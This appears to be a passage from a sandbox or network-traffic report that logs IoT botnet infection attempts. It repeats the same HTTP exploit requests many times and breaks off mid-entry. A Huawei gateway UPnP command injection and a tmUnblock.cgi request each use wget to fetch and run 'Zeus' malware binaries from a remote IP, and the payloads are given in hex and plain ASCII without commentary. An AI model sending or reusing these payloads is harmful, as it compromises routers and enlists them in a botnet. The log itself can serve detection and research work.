Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r 